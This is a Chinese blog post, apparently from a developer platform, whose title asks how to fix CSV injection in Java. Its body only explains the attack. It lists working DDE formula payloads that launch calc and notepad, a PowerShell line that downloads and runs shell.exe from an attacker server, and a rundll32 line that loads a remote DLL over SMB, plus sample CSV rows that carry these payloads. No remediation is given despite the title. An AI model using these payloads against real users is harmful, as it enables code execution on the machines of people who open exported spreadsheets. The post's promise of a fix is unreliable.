csv注入java怎么解决_CSV Injection(CSV注入)

简介

许多web应用程序允许用户将发票模板或用户设置等内容下载到CSV文件中。许多用户选择在Excel、Libre Office或open Office中打开CSV文件。当web应用程序无法正确验证CSV文件的内容时,可能会导致执行一个或多个单元格的内容。

漏洞利用

最基本的利用方式是动态数据交换

# pop a calc

DDE ("cmd";"/C calc";"!A0")A0

@SUM(1+1)*cmd|' /C calc'!A0

=2+5+cmd|' /C calc'!A0

# pop a notepad

=cmd|' /C notepad'!'A1'

# powershell download and execute

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32

=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

上述有效载荷的技术细节:

cmd 是每当客户端试图访问服务器时,服务器可以响应的名称

/C calc 是执行的文件名,(calc.exe即计算器)

!A0 是项名称,指定当客户端请求数据时服务器可以响应的数据单元

任何公式符号都可以用:

=

+

@

示例:

UserIdBillToDateProjectNameDescriptionDurationMinutes

12017/7/25Test ProjectFlipped the jibbet60

22017/7/25Important Client"Bop, dop, and giglip"240

22017/7/25Important Client"=2+5"240

22017/7/25Important Client"=2+5+cmd|' /C calc'!A0"240

22017/7/25Important Client"=cmd|' /C notepad'!'A1'"240

22017/7/25Important Client"=cmd|'/C powershell IEX(Write-Host "It's run!";)'!A0"240

cf1a6bf33ccfdf598d1526c5e22ac56b.png

af55665d954d3cf56ef35d698b18ee63.gif

流量特征如下:

0ddae28178bfe4c1fe0c1b7fc0f7c1b2.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值